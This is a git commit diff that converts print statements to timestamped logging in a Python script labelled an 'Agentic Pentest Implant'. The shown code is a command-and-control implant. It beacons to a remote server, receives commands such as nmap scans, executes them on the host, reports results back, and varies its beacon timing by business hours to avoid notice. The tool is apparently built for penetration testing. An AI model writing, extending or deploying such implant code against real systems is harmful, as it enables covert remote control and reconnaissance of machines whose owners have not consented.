Add timestamped logging, clean up old logs, add .gitignore

This commit is contained in:
creinky committed 2026-11-08 20:34:08 -07:00
1 parent cc6aae0122
commit ed0e58af7c
5 files changed
+62 -7257

No files matched your search

+28 -15
View File
@@ -18,10 +18,23 @@ import socket
import subprocess
import argparse
import random
import logging
from datetime import datetime
from urllib.request import urlopen, Request
from urllib.error import URLError
# Setup timestamped logging
log_filename = f"implant_{datetime.now().strftime('%Y-%m-%d_%H-%M-%S')}.log"
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s [%(levelname)s] %(message)s',
handlers=[
logging.FileHandler(log_filename),
logging.StreamHandler()
]
)
logger = logging.getLogger(__name__)
def get_local_ip():
"""Get the local IP address of this host."""
@@ -156,14 +169,14 @@ def beacon(mcp_url, implant_id, api_key=None):
commands = body.get("commands", [])
if commands:
print(f"[{implant_id}] Received {len(commands)} command(s)")
logger.info(f"[{implant_id}] Received {len(commands)} command(s)")
for cmd in commands:
request_id = cmd["request_id"]
cmd_type = cmd["type"]
params = cmd["params"]
print(f" Executing {cmd_type} (request {request_id})")
logger.info(f" Executing {cmd_type} (request {request_id})")
# Execute the appropriate command
if cmd_type == "nmap_scan":
@@ -199,17 +212,17 @@ def beacon(mcp_url, implant_id, api_key=None):
try:
with urlopen(report_req, timeout=10) as resp:
print(f" Result reported for {request_id}")
logger.info(f" Result reported for {request_id}")
except Exception as e:
print(f" Failed to report result: {e}")
logger.warning(f" Failed to report result: {e}")
return True
except URLError as e:
print(f"[{implant_id}] Beacon failed: {e}")
logger.error(f"[{implant_id}] Beacon failed: {e}")
return False
except Exception as e:
print(f"[{implant_id}] Unexpected error: {e}")
logger.error(f"[{implant_id}] Unexpected error: {e}")
return False
@@ -224,25 +237,25 @@ def main():
implant_id = args.id
api_key = args.api_key or os.environ.get("IMPLANT_API_KEY", None)
print(f"=== Agentic Pentest Implant ===")
print(f"Implant ID: {implant_id}")
print(f"MCP Server: {mcp_url}")
print(f"Base beacon interval: {args.interval}s (with time-aware jitter)")
logger.info("=== Agentic Pentest Implant ===")
logger.info(f"Implant ID: {implant_id}")
logger.info(f"MCP Server: {mcp_url}")
logger.info(f"Base beacon interval: {args.interval}s (with time-aware jitter)")
if api_key:
print(f"API Key: {'*' * len(api_key)}")
print(f"Local IP: {get_local_ip()}")
print("================================\n")
logger.info(f"API Key: {'*' * len(api_key)}")
logger.info(f"Local IP: {get_local_ip()}")
logger.info("================================")
while True:
success = beacon(mcp_url, implant_id, api_key)
if not success:
print("Retrying in 5 seconds...")
logger.info("Retrying in 5 seconds...")
time.sleep(5)
# Calculate next interval with jitter
next_interval = get_beacon_interval(args.interval)
bh_status = "business hours" if is_business_hours() else "off-hours"
print(f"Next beacon in {next_interval}s ({bh_status})")
logger.debug(f"Next beacon in {next_interval}s ({bh_status})")
# Sleep until next beacon
for _ in range(next_interval):